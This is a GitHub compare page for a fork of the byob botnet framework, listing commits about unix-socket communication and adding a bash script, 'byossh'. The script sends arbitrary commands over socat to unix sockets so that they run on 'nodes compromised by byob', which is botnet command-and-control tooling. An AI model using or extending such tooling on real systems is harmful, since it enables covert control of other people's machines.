Skip to content
Permalink

Comparing changes

Choose two branches to see what’s changed or to start a new pull request. If you need to, you can also or learn more about diff comparisons.

Open a pull request

Create a new pull request by comparing changes across two branches. If you need to, you can also . Learn more about diff comparisons here.
base repository: malwaredllc/byob
Failed to load repositories. Confirm that selected base ref is valid, then try again.
Loading
base: master
Choose a base ref
...
head repository: STEELISI/byob
Failed to load repositories. Confirm that selected head ref is valid, then try again.
Loading
compare: master
Choose a head ref
Can’t automatically merge. Don’t worry, you can still create the pull request.

Commits on Mar 27, 2024

  1. Adding Spencer's branch

    jelenamirkovicgitlab committed Mar 27, 2024
    Copy the full SHA
    1e7b59a View commit details
  2. Tkinter bug fix

    rishitsaiya committed Mar 27, 2024
    Copy the full SHA
    e6ad773 View commit details

Commits on Mar 31, 2024

  1. Syntax fix

    rishitsaiya authored Mar 31, 2024
    Copy the full SHA
    f8a221c View commit details

Commits on Jun 27, 2024

  1. fixed requirements

    jelenaisi committed Jun 27, 2024
    Copy the full SHA
    2cdfa67 View commit details

Commits on Jan 16, 2025

  1. updating dropper executable

    test committed Jan 16, 2025
    Copy the full SHA
    a615243 View commit details
  2. attempting to add unix sockets

    test committed Jan 16, 2025
    Copy the full SHA
    c710f59 View commit details
  3. adding socket path

    test committed Jan 16, 2025
    Copy the full SHA
    fbbd854 View commit details
  4. no golang

    test committed Jan 16, 2025
    Copy the full SHA
    1d06343 View commit details
  5. creating directories

    test committed Jan 16, 2025
    Copy the full SHA
    a8281a0 View commit details
  6. moving client and server to python3

    test committed Jan 16, 2025
    Copy the full SHA
    3f9801e View commit details
  7. moving client and server to python3

    test committed Jan 16, 2025
    Copy the full SHA
    fd4db97 View commit details
  8. trying to add reading from unix sockets

    test committed Jan 16, 2025
    Copy the full SHA
    6aaa131 View commit details
  9. adding accept pass on mkdir

    test committed Jan 16, 2025
    Copy the full SHA
    7d52992 View commit details
  10. explicit unpacking

    test committed Jan 16, 2025
    Copy the full SHA
    97c2185 View commit details
  11. trying something

    test committed Jan 16, 2025
    Copy the full SHA
    e3ec5de View commit details
  12. not python

    test committed Jan 16, 2025
    Copy the full SHA
    1647e4c View commit details
  13. adding import

    test committed Jan 16, 2025
    Copy the full SHA
    ef8d86c View commit details
  14. correcting variable names

    test committed Jan 16, 2025
    Copy the full SHA
    5bb03d3 View commit details
  15. attempting to add unix communication

    test committed Jan 16, 2025
    Copy the full SHA
    3e63b0e View commit details
  16. updating unix implementation

    test committed Jan 16, 2025
    Copy the full SHA
    2191131 View commit details
  17. removed extra continue

    test committed Jan 16, 2025
    Copy the full SHA
    8351fe6 View commit details
  18. adding more none conditions

    test committed Jan 16, 2025
    Copy the full SHA
    9ce00dd View commit details
  19. bug fixes

    test committed Jan 16, 2025
    Copy the full SHA
    6bdc27e View commit details
  20. more bug fixes

    test committed Jan 16, 2025
    Copy the full SHA
    e846c08 View commit details
  21. I have room temp iq

    test committed Jan 16, 2025
    Copy the full SHA
    45abb45 View commit details
  22. possible fix

    test committed Jan 16, 2025
    Copy the full SHA
    9049663 View commit details
  23. more bug fixes

    test committed Jan 16, 2025
    Copy the full SHA
    f589fdd View commit details
  24. debugging

    test committed Jan 16, 2025
    Copy the full SHA
    93651ac View commit details
  25. more debugging

    test committed Jan 16, 2025
    Copy the full SHA
    ec483f4 View commit details
  26. more debugging

    test committed Jan 16, 2025
    Copy the full SHA
    d0639ff View commit details
  27. adding persistent connections

    test committed Jan 16, 2025
    Copy the full SHA
    87cf799 View commit details
  28. adding more logging

    test committed Jan 16, 2025
    Copy the full SHA
    67aa6ed View commit details
  29. adjusting logging

    test committed Jan 16, 2025
    Copy the full SHA
    05cd993 View commit details
  30. adjusting logging

    test committed Jan 16, 2025
    Copy the full SHA
    c68d815 View commit details
  31. adjusting logging

    test committed Jan 16, 2025
    Copy the full SHA
    3ef9c1c View commit details
  32. attempting more unix stuff

    test committed Jan 16, 2025
    Copy the full SHA
    ad7461d View commit details
  33. forgot self

    test committed Jan 16, 2025
    Copy the full SHA
    b5b9558 View commit details
  34. QoL improvements

    test committed Jan 16, 2025
    Copy the full SHA
    80ab2a8 View commit details
  35. debugging'

    test committed Jan 16, 2025
    Copy the full SHA
    5bbb3a5 View commit details
  36. debugging'

    test committed Jan 16, 2025
    Copy the full SHA
    2164d29 View commit details
  37. testing

    test committed Jan 16, 2025
    Copy the full SHA
    d31b067 View commit details
  38. testing

    test committed Jan 16, 2025
    Copy the full SHA
    dd421e2 View commit details
  39. casting correctly

    test committed Jan 16, 2025
    Copy the full SHA
    5d292d8 View commit details
  40. missing ()

    test committed Jan 16, 2025
    Copy the full SHA
    dc9f24f View commit details
  41. updating to ses

    test committed Jan 16, 2025
    Copy the full SHA
    c172c2b View commit details
  42. updating to ses

    test committed Jan 16, 2025
    Copy the full SHA
    d18ccb9 View commit details

Commits on Jan 17, 2025

  1. updating unix loop

    test committed Jan 17, 2025
    Copy the full SHA
    4790ec9 View commit details
  2. updating unix loop

    test committed Jan 17, 2025
    Copy the full SHA
    a5874cc View commit details
  3. removing lock

    test committed Jan 17, 2025
    Copy the full SHA
    dbf1c7c View commit details
  4. upating logging

    test committed Jan 17, 2025
    Copy the full SHA
    364e08e View commit details
5 changes: 5 additions & 0 deletions byob/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
dist/*
build/*
*.spec
/temp
*.rsa
69 changes: 69 additions & 0 deletions byob/byossh
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
#!/bin/bash

set -e

node=""
time="5"
command=""

if ! command -v socat &> /dev/null; then
echo "this script depends on socat. please install";
exit 1
fi

show_help() {
echo -e "Usage: ./byossh [flags] [node] [command]"
echo -e ""
echo -e "This command executes byob or bash commands on nodes compromised by byob"
echo -e ""
echo -e "-h/--help shows this menu"
echo -e "-t sets the delay program should wait for the command to complete, so we can print it to screen"
echo -e "\t'-t 5' is recommended and the default"
echo -e ""
echo -e "[node] is the compromised node you'd like to exectue commands on"
echo -e "\tthere must a correspondig valid unix socket at /tmp/byob-socket"
echo -e "[command] is the command you'd like to execute on the remote node"
echo -e ""
}


while [[ $# -gt 0 ]]; do
case "$1" in
-h | --help)
show_help
shift
;;
-t)
shift
time="$1"
shift
;;

*)
if [ "$node" = "" ]; then
node="$1"
shift
else
command="$@"
shift "$#"
fi
;;
esac
done


if [ "$node" = "" ] || [ "$command" = "" ]; then
echo "improperly formatted input"
show_help
exit 1
fi


if [ ! -S /tmp/byob-socket/$node ]; then
echo "unix socket /tmp/byob-socket/$node doesn't exist"
echo "cannot execute remote command"
exit 1
fi

echo "$command" | socat "-t$time" - "UNIX-CONNECT:/tmp/byob-socket/$node"

Loading